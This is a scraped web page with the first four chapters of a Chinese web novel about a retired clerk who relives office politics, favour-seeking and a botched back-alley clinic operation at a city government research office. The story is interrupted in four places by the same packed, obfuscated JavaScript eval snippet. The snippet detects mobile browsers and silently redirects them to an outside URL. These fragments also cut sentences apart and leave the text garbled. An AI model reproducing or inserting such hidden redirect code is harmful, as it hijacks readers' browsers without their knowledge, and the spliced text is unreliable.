《穿到市府写材料》 1. 第1章 第一章临阵脱逃 2024年6月的一天，达恩豪退休在家闲来无事，打开电脑想写点什么，可由于昨天晚上不休息好，睡不着，入睡困难，睡着了又不到三四个小时就醒了，睡眠质量太差，这不，又爬在电脑桌上睡着了，这一睡，就穿越到了二十三年前的金州市了，环境和人脸等，什么都感觉有点眼熟…… 一对苦命的兄弟两个，没几天就被凶神恶煞般后爹，从爹家扫地出门了，无依无靠两个小孩子，又辗转跑到邻乡小山村的老家，被有女无儿的二伯父继续收养了。他们二伯父虽然眼睛不好，几乎失明，但办企业折腾，还有些收入的…… “小达，我问了，让看风水的阴阳算了一下，说是你妹看破红尘已出家了，在寺庙里当妮姑了。”一天晚上下班回家，老实人达恩豪的老婆黄爱佳好像突然想起来一件事，眼睛放光，看他悲悲戚戚戚还未从妹妹去世的哀伤中彻底解脱出来，就这样说道。 “但愿我妹得大自在，位列仙班。算上先前的我妈是惜详娘娘，这样我们一家就出了两个神仙了，你是标准的神仙家属。”老实人达恩豪也心里清楚这是老婆黄爱佳善意说给他宽心的好话，他是听得出来的，就有些登鼻子上脸，说你胖你就喘上了，顺杆往上爬的意思，却对老婆黄爱佳这样阴阳怪气自嘲自讽道。 …… “常主任，我们研究室的人你一个都不准带走！”大个眼镜代理主持滨河市政府研究室工作副主任金学盛，似乎听到些什么，一脸地不高兴，好像是有些生气，对滨河市政府研究室副主任常吉这样提前警告道。 “……”高个白脸眼镜的年轻人，是滨河市政府研究室副主任常吉，望着大个眼镜代理主持滨河市政府研究室工作的副主任金学盛，无言以对，只是微微地点一点头，算是遵守默认。 “达处长，原来想把你和小巴带到失地办去，现在看来不行了，以后机会很多再找机会吧！”老实人达恩豪和秃头巴多星跟着市政府研究室常吉副主任，一直干这项工作，先后搞了三四年。老实人达恩豪又是以政府名义起草调研方案，编制专题调查问卷，开展全市失地农民问题调研，起草下发一系列失地农民优惠政策措施七个文件等。现在市上要成立失地农民工作办公室，要抽调一批干部，代理主持市政府研究室工作的金学盛副主任，前几天给单位分管这项工作的市政府研究室副主任常吉打了预防针，常吉只能对老实人达恩豪实话实说了。 “达主任，听说你在研究室专门搞失地农民问题课题研究，你手头的资料请你给我传一下，非常感谢，以后有什么需要帮忙的事给我说，我全力给你办！”一天在单位上班时间，老实人达恩豪突然接到一个电话，对他这样说道。 “好的，常区长，噢，现在是常主任。”这个人不是别人，正是常英海，瘦高个英俊中年男人，比老实人达恩豪年龄大几岁，老家槐间县人，老熟人了，他在兰原工作时，这人曾出任县委组织部长，后调到主城区附近一个区上当常委副区长，最近被任命为滨河市失地农民工作办公室主任，本单位副主任常吉调任这办公室副主任，还有市委组织部常务副部长的老公也调任这办公室副主任。 记得一年前，代理主持市政府研究室工作的金学盛副主任突然有一天，来喊他，他跟着到了领导办公室，金学盛转头对他又是护短埋怨又是关心帮助地这样说道：“达处长以后再不要找别人给老婆跌办工作了，我们今天去找你兰原的老领导常英海区长跑一下。” 老实人达恩豪一听领导要帮忙给自己老婆调个工作，今天怎么走了狗屎运了，太阳搭从西边出来了，一愣神后，非常感激地赶紧回答金学盛道：“好啊，走吧，非常感谢金主任！” “金主任今天走哪里？”老实人跟着金学盛上了火成亮开的单位小车，钻进去刚坐定，司机眉头一皱，就转身问坐在后排的领导道。 “定平区政府！”代理主持市政府研究室工作的金学盛副主任，躺坐在后排靠左的领导，吊眼看着火成亮这样回答道。 这小车穿过长长的南滨河路，跨过一座黄河大桥，再西拐上一条长长的大道，行驶了大约半个多小时，就进了一个区委区政府大院，停车开门下车，上了对面的一座大楼。 “老同学来了，请坐。”单位司机光头胖了火成亮继续待车上，达恩豪和金学盛从单位小车下来，上了这幢政府区委区政府办公楼三楼，在一位秘书模样小伙的指引下，敲门，应声进了挂着常务副区长门头标牌的办公室，办公室来开门的是个高个精干的美男子，望着金学盛，对他们两个这样说道，关门转身引他们坐到沙发上，再转身又忙着给他们一个泡了一杯茶水，放到了他们两坐着的面前的茶几上。 “常区长，我们达处长你认识吧？”金学盛喝了一口热茶，放下了茶杯，微笑着对美男子常英海半开玩笑半认真地这样问道。 “认识，小达以前我们在兰原县一起工作过，你在县农林局办公室对吧。”常英海坐在窗下有办公桌椅间，看一眼达恩豪，转脸看着金学盛这样回答道。 “有个事儿求你，我们达处长老婆的工作请区长给帮助解决一下。”金学盛把今天找常英海的目的挑明了，微笑着对当年曾经是市党校的老同志这样说道。 “啊呀这种事不好解决，难办得很，如有机会我会找小达。”常英海又是皱眉头，又是打官腔，眼光闪烁，一转头看着窗外对金学盛和达恩豪显得很为难地这样回答道。 “就不打扰区长了，谢谢老同学！”金学盛也不想影响老同学常英海工作，起身这样告别道。 “谢谢常区长！”达恩豪也跟着领导金学盛站起来，也和以前的老同事老领导常英海这样告辞道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136210|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 自从老实人达恩豪和金学盛找了定平区政府常区长后，就像石沉大海一般，达恩豪一顿好等，也一直没有消息。上次去打常英海时，达恩豪和常英海互相加了电话号码，有联系方式的。 金主任这一忽悠，顶多算是领导带我滨河城区免费一日游。金学盛还说“事儿没办办不成都得谢谢人家。”人不见了，话犹在耳边响着…… 达恩豪给老婆黄爱佳跌办工作的事，一直萦绕在他的心中。有一天，单位上要给滨河商业银行送一份文件，老实人达恩豪一看，是个公私兼顾的好机会，就主动请缨自己去送这份文件，领导同意，办公室也乐得又安排人少跑腿。 “张董事长好，给您送个文件。”达恩豪拿上这份文件，从单位下楼，出政府大院，过了两个什字路口，到河陇省政府大红门往南继续再过一个什字路口，接着过马路对面，就到了一幢六层的滨河商业银行大楼。上三楼找到集团董事长办公室，把那份文件给一个中年男人递上去，并这样说道。 “我是市政府研究室经济处副处长达恩豪，请张董事长帮个忙？”这中年男人就是市政府发起筹办的滨河商业银行现任张董事长，瘦高个儿小圆脸，左眉心有一颗小黑痣，达恩豪早就认识，但张董事长不一定能认识他，所以达恩豪就先自我介绍，然后试探着开口求请，这样笑着说道。 “老婆往贵行调一下，我给沈市长说了要找你的。”达恩豪看这张董事长坐着点头，他就大胆地提出了自己的请求之事，这样硬着头皮红着脸不知害羞地说道。 “不行，进不了，我们正在企业改革精简人员呢，四十岁以上的都买断工龄。”这个张董事长多精明的人，一听达恩豪的要求就能猜出老婆黄爱佳的年龄和单位性质，肯定是企业，肯定是四十岁以上了，因此，就一口回绝了不说，还解释说明了现行滨河商业银行改革的政策措施，这样对达恩豪说道。 “请求张董事长帮帮忙！”达恩豪还是不依不挠，心有不甘地继续软磨硬缠，这样再次向张董事长发出请求，这样苦苦哀求道。 “省长□□说了都不行，办不了。噢，快过年了，给你送一套我们银行定制的春联。”张董事长一口咬定这事不行，再次毫不留情地予以回绝，一句话“你找天王老子也不行”，接着把话头一转，起身走过去，从文件柜中取来一红色印花的硬皮纸袋，递给他，找个台阶下，也好打发他出门走人。 “谢谢张董事长！”达恩豪面经耳赤，接了春联袋子，告别这张董事长出了这间办公室，下楼原步行原路返回单位去了。真是满怀热心而来，败兴而归。 过了几天，达恩豪把他找沈市长和滨河商业银行张董事长的事，给金学盛无意中透露了出来。金学盛很可惜地对他这要说道： “你不叫沈市长当时给你写个条子，这事就好办了。” 2. 第 2 章 第二章小病治大 “就是啊，我怎么没有想到当场叫沈市长给我写个条子呢。领导就是高明，不得不服！”达恩豪一听，想到，领导就是领导，方法实在好，自己怎么就想不到，所以赶紧这样又是埋怨自己，又是充分肯定和高度赞扬金学盛主任道。 “达处长只要有沈市长的话，明天我们再找一下滨河商业银行的张董事长。张董事长和我是一个界别的政协委员。”金学盛话峰突然这么一转，又是解释，又是安排，又是说明，对达恩豪这样说道。 第二天，达恩豪按照金学盛的指示，跟着金学盛，坐上单位司机火成亮开的小车，一路奔驰，来到滨河商业银行楼下，从旁边的院门进去，停车，达恩豪跟着金学盛下车，两人进了大楼门厅时，金学盛突然就停下了脚步，停在那里，对他这样说道： “我兄弟媳妇的工作都没着落，肯定不行，咱们还是不找了吧。小达你先回去，我和小火出去办点其他的事。” “……”领导金学盛主任不知道什么原因，中途突然就这样变卦了，事情没跑就放水了，惊得达恩豪愣在原地，说不出话来。 看着金学盛主任临时放了鸽子，扬长而去，达恩豪只能怪自己命苦，不能怪领导半途而废，不情不愿地自己走着回单位去了。…… “达处长，咱们到禹台开发区调研一下去。”一天在单位刚上班，老实人达恩豪接到代理主持市政府研究室工作的金学盛副主任打来的电话。 “好的，我马上过来。”老实人达恩豪放下办公室电话，连个笔记本和笔都没有顾上拿，就上了代理主持市政府研究室工作的金学盛副主任办公室。 单位司机秃头胖子火成亮，开着红旗牌小车，把老实人达恩豪和代理主持市政府研究室工作的金学盛副主任，拉到了滨河城北一条大沟沿公路进去，好像是主城区禹台经济开发区，听金学盛指挥，停到了一处坪下的路边。 老实人达恩豪跟着领导金学盛，从高坪西边的陟坡爬上坡顶，豁然开朗，上面是一个大坪地，中部位置只盖了一幢楼房，旁边还有地矿勘探支起的高高的井架。 “听说禹台经济开发区有地热资源！”老实人达恩豪若有所思，突然想起来是网上还是报纸还是电视上，看到过禹台经济开发区里发现发热的报道消息，这样对代理主持市政府研究室工作的金学盛副主任说道。 “想办法好好开发禹台，可以把地热新能源利用好，尽快打造成一座现代化新型城市！”代理主持市政府研究室工作的金学盛副主任，站在那里，放眼面前东西是山脉南北一条长长的川谷坪台，一边举平右臂左右一挥，一边对老实人达恩豪信心满怀地这样说道。…… “马上就到年底了，我感觉今年什么工作都没做下呀。年终总结不好编，领导一看就清楚。”一天上班时间，在经济发展研究处办公室里，臭嘴鲁希雷站在这房间中央，又是捋袖子，又是抓头的，有些挠心烦闷地对老实人达恩豪这样感叹道。 “我不干不知不觉都干了这么多活儿。”老实人达恩豪听了，不以为然，也有些惊喜，显得很轻松愉快有备无患地这样卖牌道。 “……”鲁希雷无言以对，只是吐出自己口中像蛇信子一样的舌尖，围绕上下两张厚嘴唇，转着舔一圈儿有些干裂的嘴皮子，闭上嘴，继续听达恩豪给他如数家珍地唠叨一年来的成绩。 “我今年共搞了七项工作：代表本单位起草完成给市政府的《发展绿色精细化工产业，走适度轻经化的新型工业化道路---关于赴新加坡裕朗工业园区考察的建议》，《滨河市贷款道路建设车辆通行费调整价格听证会上的发言》，《对滨河民营科技企业发展现状的调查报告》，《滨河市政府办公厅关于对全市农民失地问题进行调查研究的通知》和参加设计《滨河市失地农民问卷调查》，《滨河市近郊农业研究》，《关于积极引进铝粉加工业，促进精铝加工产业发展的建议》，《滨河特色加工制造业发展战略研究》。”达恩豪坐回电脑前，边翻电脑文档，边给鲁希雷这样说道。 “达处长你干得太多了太好，干个差不多就行了。你看年年评的优秀都是什么人，老又给你不评给，凭什么干这么好。”鲁希雷一脸地阴沉，很不好高兴，对达恩豪包打不平喊冤叫屈地这样说道。其实是做工作阻止达恩豪多干活干好活，妒嫉达恩豪的成效，也在给自己不干活少干活工作应付差事找理由。…… 达恩豪由于长期伏案工作，写材料的活儿，就是坐着身子不动，动脑子就行了，动笔杆子就行了，是个费纸、费墨、费笔、费灯、费眼、费人的“一不动”“两动”“六费”之活。这段时间身体状况出问题了，先是左侧下腹不舒服，乙型结肠发炎，后是□□骚痒，怀疑得了痔疮。俗话说：“十女九妇科”“十男九痔”，也是很正常的病了，对于写材料的人就更加平常了，应当属于职业疾病的范畴。 按时吃饭，坚持多活动锻炼，尽量少坐着，就不得痔疮，得了了会好些的。但是，由于达恩豪这些常年累月爬格子一族，是不行了。因为你写材料的工作任务太多太繁重，太忙了，你没有时间活动锻炼的，所以各种疾病就找上门了。这是一对矛盾，工作和健康之间的矛盾，不好解决。 一天，达恩豪看《滨河晚报》，在中缝的广告栏看到了一则消息，说是在主城区的有一家区级健康教育所主办的诊所，能治好痔疮，手术简单安全，技术保障，即治即走，不用住院，价格合理，诚实守信。 怎么办？怎么办？达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136211|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩豪拿着这张报纸，思谋了好多天，终于有一天他就心血来潮，猪油蒙心了，这事不好和同志参谋，忘记了和老婆黄爱佳商量，就自个儿跑去大街上，找进一个背街小巷里，一家挂着上面中间有个大红十字的，叫“宜德”的超级秀珍诊疗所，一排平房共四间，一间诊室，三间手术室。 这小诊所设备简陋，诊室和手术室里只有一张铺白色单子的床，一把椅子，一张桌子。达恩豪听戴白口罩穿白大褂的中年男“大夫”的话，脱下裤子半挂，爬在床上，任由“手术”。这中年“大夫”从他的□□翻出肛肠说，里面有好几个肛痘，需要手术切除，从肠肉中挖掉病痘，手术完了就好了，就开始给他作肛痘切除的手术。 达恩豪刚作完肛痘切除手术，疼得还不是那么厉害，但后来他坚持回到单位上，就越来越疼痛了，疼得他弯腰驼背直不直身子，一动就牵扯到了，呲牙裂嘴，锁上自己办公室地门，裹个大被子在三人沙发上躺着休养，不管白天晚上，这三人沙发都成了他的卧榻了。 “达处长你胆子真大，小诊所那是黑诊所，你也敢去作手术。”尽管达恩豪知道这件事不光彩，不给别人透露，不知道怎么单位领导金学盛那里听来的风声，就知道了这事，找到他问情况，不但没有安慰的话，还这样怪罪他道。人都有犯错误的时候，谁能又谁敢打保票，自己一辈子都不犯回错呢！ “我以为这是个小手术，不要紧的，没想到会以小犯大，这样可怕。”达恩豪脸红耳烧，不好意思，下沙发佝偻着身子，两手抱着下腹部，这样说出了自己的不得意的苦衷来。 “你疼痛难受地这么严重啊！我也有痔疮，在工人文化宫对面有个诊所打一针，就再没有犯过，可能是根除治好了。”斜对面办公室地巴其平，听见了也进达恩豪们经济发展研究处办公室，站在金学盛身旁边坏坏地笑着看他，完了收住笑声，然后一本正经地这样感同身爱地说道。 手术后遗症非常严重，达恩豪特别痛苦，尤其是上厕所拉屎来大的时，疼痛得跐牙裂嘴，鬼哭狼嚎，难受极了。听同事们劝说，达恩豪就找领导金学盛交给写好的假条，请了一周时间的病假，回兰原县城的家里休养。 果然是家里知道了他的病情，老婆黄爱佳和岳母都埋怨他事先不和家里人商量，达恩豪又是同样的一通解释，就是不让家里人事先担心。 “爸你这样呻唤疼得特别凶吗？”达恩豪的儿子正在上小学，放学回家，也来操个尕心儿，偏头看着自己的父亲关心地这样问道。 “平时还可以，主要是上厕所解大手时，疼得很厉害。我能坚持住，我不怕，慢慢就不疼了，就好了。”达恩豪拉过儿子，摸一摸天真可爱的小脑袋，这样信心十足无比坚强地这样回答道。 3. 第 3 章 第三章新陈代谢 达恩豪想着儿子长大了，值事了起来。前不久的一个冬天，他和老婆黄爱佳一天大清早，跑到滨河城北的城乡结合部找小舅家租得房子，达恩豪不小心，被墙角突然蹿出的一条恶狗一口给咬到小腿上了，这条恶犬太可恶了，不但人走你跟前不吱声示警，一口咬死了丝毫不动不松口，惊动了这家平房的男主人出来呵斥，这恶犬才松开了嘴。好在罩裤里面穿了毛裤和线裤，小腿上只擦破了点皮，没有出血。就是这条新裤子开了四五个不洞，破了，又晦气得很，回去就脱下来扔了。想到附近打只狂犬疫苗，过年放假都不开门，就再也没打。 心有余悸的达恩豪，第一次被恶狗所伤，心情很沉闷。走在路上，老婆黄爱佳却开玩笑说，你不是最近时间一直不顺吗，狗这么一咬就把你身上的晦气全给吓跑了咬没了，以后就一顺百顺吉祥如意了。这话把达恩豪说得破涕为笑，心情大好起来。 回到家里，没想到达恩豪的儿子毕竟还是年纪小，天真无邪，童真趣稚，跑过来看一下他爹爹被狗咬了是什么样子，偏头仔细观察其父亲，上下全身仔细打亮其爸爸，这可把达恩豪惹得又好笑，又好气的。 一周的假期很快就过去了，达恩豪吃了好多消炎药，病情形如逆转，逐步向好的方向发展了，就边上班边继续吃了一段时间的药，渐渐地就越来越疼痛得轻了，越来越不疼痛了。 “哇！体重都少了这么多啊！减肥整整10斤！”达恩豪一天无事，在一家药店门口放着的电子秤上一量体重，由原来手术前的65公斤竟然降到了60公斤，整整掉了5公斤肉，所以他才惊奇地这般自言自语地感叹道。 达恩豪经此一难，十分痛狠那家坑害人的小诊所黑诊所。他感觉，这个诊所起叫叫“宜德”就是“遗德”，意思是丢失了道德，应当叫“缺德”才合适，只管挣钱，不管患者，害人终害己，这样的“缺德”小诊所应当立即取缔，依法严肃查办这里的假大夫真骗子，让这样坑人害人的小诊所无立足存活之地。 …… 这几年来，市政府研究室陆续退休了好几名老同志，单位急需补充新鲜血液，可单位千挑万选，招考进来一名人员。就是达恩豪们经济发展研究处的巴多星，矮个秃头大眼的“巴□□”。岁数比达恩豪小六岁，六九年的人，最末位的六零后，虽然是考进来的，文章也写得凑凑和和。一来就被单位分配到经济发展研究处，不久就被提拔为该处副处长。 巴多星特别的骄傲，有一种天生的优越感和自豪感，在一块交谈时，他老否定达恩豪的观点，你说什么，他就说“不是不是，是这样的”，搞得达恩豪很不高兴，一直想不通，达恩豪就曾经问过鲁希雷这是什么原因。 鲁希雷给达恩豪说过，果然不出达恩豪之所料，巴多星的父亲是个县级干部，在滨河东南相邻地区一个县上当过县委副书记，后来他父亲调进省外贸厅下属一个外贸公司任职，现已退休了。巴多星一社会闲散人员，被他父亲安排到分管的下属单位县种子公司工作，可他不好好上班，在社会上浪当，加之县种子公司也面临改企转制，他父亲进省城后又把他调进了自己任职的省外贸公司，外贸公司这几年也不行了，他又不上班开始新的社会浪当。 巴多星的老爹是个混机关的老手，看清了当前的就业方向和大趋势，下定决心，砸锅卖铁也要把这个小儿子巴多星弄进机关单位上班。先是跑到达恩豪们滨河市政府研究室来，经常来找本单位领导金学盛，在办公室等金学盛时，有意放话，说他和现任的常务副市长是同办公室邻桌的工作过的同事，让巴多星进滨河市政府研究室工作。 巴多星还真是走了狗屎运，押中了题还是花钱透出了题，笔试尽然过关了。面试和最后录用正巧是滨河市常务副市长分管主抓，巴多星就从一名下岗的企业员工，社会闲散人员一飞冲天，一鸣惊人，成了公务员队伍一员，准确些说是准公务员队伍，或者是事业单位参公人员。 巴多星好事不断，最近，金学盛为了通过巴多星的父亲关系，攀附常务副市长，就继续接着提拔巴多星接任刚退休老主任位置，以副主任的身份，负责主持研究室办公室工作。 市政府研究室经济发展研究处又剩达恩豪一人了，急需马上补充人员，金学盛又从他老家的向上县招商局调来一人，这人正是七零后的小个红脸佟若贤，河陇省农业大学资源环境系治沙专业毕业的。听鲁希雷给达恩豪说，佟若贤的老爹是向上县一个村上的书记，与本单位领导金学盛不但认识，而且关系不一般。 佟若贤调来后，被单位含恨金学盛安排到达恩豪们经济发展研究处，好事不断，很快就被提拔为这个处副处长。 随着这几年国家对人才队伍建设空前的重视，市政府研究室也是狠抓贯彻落实，取得了很大的成效。单位领导金学盛抓住机会，通过公开招考，从全省各市州的尤其是县区和基层乡镇工作的年轻人，选拔调进了一批年轻干部，滨河市政府研究室进行了一次彻底的大换班。 “鲁处长，这些年轻人为什么要到咱们单位来？”一天上班时间，达恩豪皱了皱眉头，突然就话题这么一变，向来经济发展研究处聊天的鲁希雷，貌似不解地这样问道。 “达处长，你说咱们单位有什么不好吗？”鲁希雷脸色突然变得有些阴沉，想英雄所见略同，我们不是都来这儿了吗，就没有直接回答这个提问，而是这样反问达恩豪道。 “不管人不管事，无任何权力，光下苦写材料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136212|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还提拔得很慢。”达恩豪性格直出口快，没有考虑鲁希雷的反问其实是在引导说我们单位有许多好处，就这样回答道。 “那你当初为什么到咱们单位来？”鲁希雷感觉自尊受损，虽然也是实情，但也还是接爱不了，转头眼睛盯着面前人，继续接着有点生气地这样反问达恩豪道。 “我是为了进城才调这来的，又是和原来的领导不合拍，走了图个畅快……再说了我也不爱作个农技干部天天下乡进地，太累了不干了，跳槽图个轻松……最后一点，最重要，因为我特别热爱写作，爱好就是职业是非常幸运的事情。”达恩豪被问急了有些不好意思，说话前言不达后语，又结结巴巴又罗罗唆唆地，脸红着避开鲁希雷的目光，这样回答道。 “那些个来咱们单位的年轻，我猜他们的想法是，首先，从县区和乡镇调到市级机关，那是上调，大学选调生到咱们单位是解决就业，一步到位进市级机关，何乐而不为；其次，先进城再说，然后不行再找机会，只要有关系有人加上活动，再往好部门和省上单位调，把这里作为‘跳板’。”鲁希雷举起右手来，把长分头掉下来的发梢往后一捋，双手一叉腰，整理好思路，有条不紊侃侃而谈，这样对达恩豪分析解释了一番。 “鲁处长没错，你说得很对。”达恩豪听得出神，细细品味，感觉很有道理，就赶紧这样连声赞同道。 “不从最早的说，你没有调来之前的就不说了，说了你也不认识，就从你来之后说吧，吴知春和咱们一块竞争上岗没弄上副处长，先借调后正式调进了省纪委巡视组办公室，好单位，牛程凡调到市政务大厅，后来从外市乡镇调进来的易和祥调到市经合局，我们处研究生陶新和黄世清调到滨河新区去了，选调来的美女镇长苟纪宁调到市民政局办公室了，招考来的选调生黄波调到省总工会了，领导死看不上的牛晓英笔度面试均第一考到省公安厅了，等等不说了。”鲁希雷看达恩豪听得认真认可，口若悬河，滔滔不绝，就罗里罗唆地这样说道。 “是啊，我们这个单位，对于有门路和上面有人的来说，就是个助推器，对于没有后门没有背景的人来说，就是个沼泽地，烂人的泥潭，一旦烂给就拔不出来了。”达恩豪被鲁希雷所感染，感同身受，实话实说，怨天尤人，这样两个人一唱一和地说起来了。 “……”突然，鲁希雷就不知为什么，显得暗然伤神似的，无言以对，不接话茬，不知是想起了些什么，还是默认达恩豪的观点而矣。然后习惯性地从自己口中吐出像蛇信子一样的舌尖，围绕着上下两片厚唇，围绕着舔一圈有些干裂的嘴皮子。 这几年人才和干部队伍也是流动最快的时期，人才双向流动，有进有出，市政府研究室比任何时候都活跃。 4. 第 4 章 第四章区域合作 单位领导金学盛又通过佟若贤的关系，看准了一个向上县的乡镇女副镇长，人长得特别漂亮就是个子小了点。这次金学盛也安排他跟着考察小组去向上县一个镇政府外调，被考察的美女副镇长很大气，不但管了一顿农家乐的中午饭，还送了考察组外调人员们地方特产，每人一条虹鳟鱼，达恩豪也有一份。 过了几天，单位又安排达恩豪去滨河市团委考察选拔人员，市团委办公室一名年轻八零后年轻女干部，不是别人，正是小个美女黄英。公务员招考进的团委，工作了几年，市团委要外放旧人，再招更年轻的新人。黄英的家在滨河主城区的西边黄河干流上游个区，是滨河市乃至全省全国的老工业基地，“一五”“二五”“三线”建设时间国家重点建设项目好几个，主要是石油化工大型骨干企业和产业，“滨化”是共和国石油工业的“长子”，“滨炼”“两滨”誉满全国，那里有石化那里就有“滨化”“滨炼”人，黄英的父母就在“两滨”上班。 …… “达处长你知道不知道？以前为什么不让席从浩当办公室主任换成巴多星了？”一天上班时间，鲁希雷跑来经济发展研究处办公室聊天，宣了几句闲话后，立即进入正题，他若有所思，很严肃地对达恩豪这样一连两问道。 “不是巴多星他父亲与常务副市长一个办公室的同事，办公桌对办公桌的好同事，主任巴结常务副市长呗。”达恩豪是个老实人，不像鲁希雷老喜欢琢磨个人事的问题，看问题不深刻不本质，就这样倾囊而出地回答道。 “你只说对了一小半，那只是次要的一方面原因。一多半，最主要的原因是领导老金不想让席从浩当这个办公室主任了。”鲁希雷不以为然，用轻蔑地眼神看了一眼达恩豪，有点生气地阴沉着脸不厌其烦地这样解释道。 “没看出来，为什么？席从浩不是和金学盛主任关系很好吗。席从浩当专职副书记兼纪检专干，也是正处长级不变啊。”达恩豪实话实说，知无不言，言无不尽，先是疑惑不清，然后是自我理解，就微笑着但却有些不解地这样说道。 “专职副书记兼纪检专干那有办公室主任有实权啊。不让干主要是席从浩说了不该说得话，老金公差出国报销了多少钱，好像花了好几万元，听说是席从浩给别人无意间说漏嘴了，也让金学盛给知道了。”鲁希雷一低头，再猛一仰头，把吊下来额前的发梢甩到头上，然后再抬手轻轻地捋一下头顶上的头发，的毫不客气地否定达恩豪的浮浅看法，然后再解释透露一番关键信息，就压低声音这样回答道。 “原来如此，果真是有原因的。”达恩豪第一次听到这样的事情，虽然是有些吃惊，但却对鲁希雷的这种说法也是深信不疑的，因为疑问有了比较合理的答案，就有些恍然大悟地这样说道。 “那现在为什么巴多星不干了要让佟若贤当单位办公室主任？”鲁希雷这时话峰突然这么一转，变换个话题，再卖弄一个大关子，对达恩豪一本正经地这样反问道。 “这个么……我还真不清楚。”达恩豪被鲁希雷这么一问，问题有些复杂，问得是他张口结舌，目瞪口呆地，说不出个所以然来。 “我和巴多星聊天时他给我说，因为他说他不适合干办公室主任这个活儿，办公室主任要能应筹能喝酒，他那个尕身体熬夜应筹不行，给领导代酒喝酒更不行。”鲁希雷这时向面前人继续透露一些巴多星的信息，说得有鼻子有眼，对他神秘兮兮地这样说道，使得达恩豪无容置疑。 “那为什么办公室主任偏偏要让佟若贤当，却不让别人当？”鲁希雷还未等达恩豪回味完前面说得那番话，真没反应过来，就紧接着话峰突然这么一变，这样反问一句道。 “……”达恩豪好似是无言以对，也好像是欲言又止吧，或者干脆就是还没有反应过来，就半天说不出话来了。 “这你就不明白了吧，一方面原因佟若贤是老金一手调上来，很快就提拔为你们经济处副处长，当办公室主任金学盛放心，是自己人加老乡，绝对信认；另一方面的理由是前任办公室负责人巴多星极力推荐佟若贤接他的班，当单位办公室主任，而巴多星到社会处当处长是副处长升正处长，再提一级何乐而不为呢。”鲁希雷习惯性从自己口中伸出像蛇信子一样的舌尖来，围绕着上下两张厚唇，舔一圈儿有些干裂的嘴皮子，接着又是嘲笑，又是详细解释，罗罗唆唆地对达恩豪这样说道。 “原来才是这么回事，现在明白了。”达恩豪不上心人情世事，只知道干工作写好材料搞好调研，因此孤陋寡闻也不见怪的，看他这时又吃惊又感慨地这样说道。 “佟若贤的办公室主任还是我给他让给的。”第二天，大腮帮子巴其平来达恩豪们经济发展研究处办公室聊天，寒暄两句后，他想起了昨天与臭嘴鲁希雷的话题，这样若有所思地向面前的人说道。 “不是说是巴多星极力给金主任推荐的吗？！”巴其平坐在三人沙发上，也是个直性子人，实话实说，有些莫明其妙，向也坐着的达恩豪这样对答道。 “那呀，你不知道，我给你说，巴多星在办公室副主任负责人不干之前，佟若贤就老早地主动来找我，说自己想调到办公室去，如果我不去他就去。”达恩豪特别小心谨慎，压低声音，向巴其平这样透露道。 “我说你们年轻人有前途，你去。我就不去了，我以前在县上农林局办公室主任上整整干了十年，烦了不想干那活儿了。然后他就去找主任老金活动去办公室当主任了，职务也顺理成章地能升了一级。”没等巴其平回答，达恩豪心直口快，继续接着这样给面前人再次透露一番信息道。 “佟若贤表面上看他先找你是尊重你，其实是在封你的口，不让你去找金主任跌办当办公室主任。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136213|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴其平虽然痛恨佟若贤和达恩豪等他们几个老同志不对付，但却矮于金学盛主任是自己一个县的老乡，又是单位领导，就话只说了一半就打住了。 “巴处长你说的对，其实我也知道金主任和佟若贤早谋划好了，这个办公室主任由佟若贤来当，我肯定没戏的，所以我也不想当，更不想再得罪人了。”达恩豪性格直爽，说话直来直去的，从不打弯儿，这时他这样给巴其平说这番话，其实是把巴其平不好说没有说完的意思都讲出来了。 …… 滨河市响应国家和省上的部署，开始搞国民经济和社会发展“十一五”规划，市政府研究室主任金学盛按照市政府的具体安排，带领研究骨干力量，围绕未来五年全市经济社会发展计划，重点是突出扩大开放推进新亚欧大陆桥经济带河陇滨河段建设，给市长准备河陇省未来五年发展思考研讨会上的发言材料。 